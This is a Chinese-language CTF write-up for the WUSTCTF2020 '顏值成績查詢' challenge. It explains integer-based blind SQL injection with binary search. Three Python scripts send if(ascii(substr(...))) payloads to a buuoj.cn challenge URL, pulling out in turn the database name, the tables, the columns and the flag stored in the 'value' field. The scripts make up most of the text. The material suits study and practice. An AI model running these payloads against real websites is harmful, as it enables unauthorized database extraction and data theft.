[WUSTCTF2020]顏值成績查詢

整數型注入，盲注。

速度快，一定要二分法。

爆庫名:ctf

二分法核心payload

"if(ascii(substr((select/**/group_concat(table_name)from(information_schema.tables)where(table_schema=database())),%d,1))>%d,1,0)" % (i , mid)

import requests
url = "http://8a12a75e-26f1-4a40-ad74-95086cfef9df.node3.buuoj.cn/?stunum="

result = ""
i = 0

while( True ):
	i = i + 1 
	head=32
	tail=127

	while( head < tail ):
		mid = (head + tail) >> 1

		payload = "if(ascii(substr(database(),%d,1))>%d,1,0)" % (i , mid)
		r = requests.get(url+payload)
		r.encoding = "utf-8"
		#print(url+payload)
		if "your score is: 100" in r.text :
			head = mid + 1
		else:
			#print(r.text)
			tail = mid
	
	last = result
	
	if head!=32:
		result += chr(head)
	else:
		break
	print(result)

回顯結果參考下圖:

爆表

flag,score

import requests
url = "http://8a12a75e-26f1-4a40-ad74-95086cfef9df.node3.buuoj.cn/?stunum="

result = ""
i = 0

while( True ):
	i = i + 1 
	head=32
	tail=127

	while( head < tail ):
		mid = (head + tail) >> 1

		#payload = "if(ascii(substr(database(),%d,1))>%d,1,0)" % (i , mid)
		payload = "if(ascii(substr((select/**/group_concat(table_name)from(information_schema.tables)where(table_schema=database())),%d,1))>%d,1,0)" % (i , mid)

		r = requests.get(url+payload)
		r.encoding = "utf-8"
		#print(url+payload)
		if "your score is: 100" in r.text :
			head = mid + 1
		else:
			#print(r.text)
			tail = mid
	
	last = result
	
	if head!=32:
		result += chr(head)
	else:
		break
	print(result)

回顯結果參考下圖:

爆列名

爆出flag和value兩個字段

import requests
url = "http://8a12a75e-26f1-4a40-ad74-95086cfef9df.node3.buuoj.cn/?stunum="

result = ""
i = 0

while( True ):
	i = i + 1 
	head=32
	tail=127

	while( head < tail ):
		mid = (head + tail) >> 1

		#payload = "if(ascii(substr(database(),%d,1))>%d,1,0)" % (i , mid)
		#payload = "if(ascii(substr((select/**/group_concat(table_name)from(information_schema.tables)where(table_schema=database())),%d,1))>%d,1,0)" % (i , mid)
		payload = "if(ascii(substr((select/**/group_concat(column_name)from(information_schema.columns)where(table_name='flag')),%d,1))>%d,1,0)" % (i , mid)

		r = requests.get(url+payload)
		r.encoding = "utf-8"
		#print(url+payload)
		if "your score is: 100" in r.text :
			head = mid + 1
		else:
			#print(r.text)
			tail = mid
	
	last = result
	
	if head!=32:
		result += chr(head)
	else:
		break
	print(result)

爆信息

flag表中有flag和value兩個字段

爆flag字段

爆的時候結果如下，沒有給flag猜測是在value字段。

爆value字段，發現就是在value字段了。如果沒有的畫要爆一下別的。

還有啊二分法，一定要二分法。不然，遇到某些題可能你爆完比賽也結束了。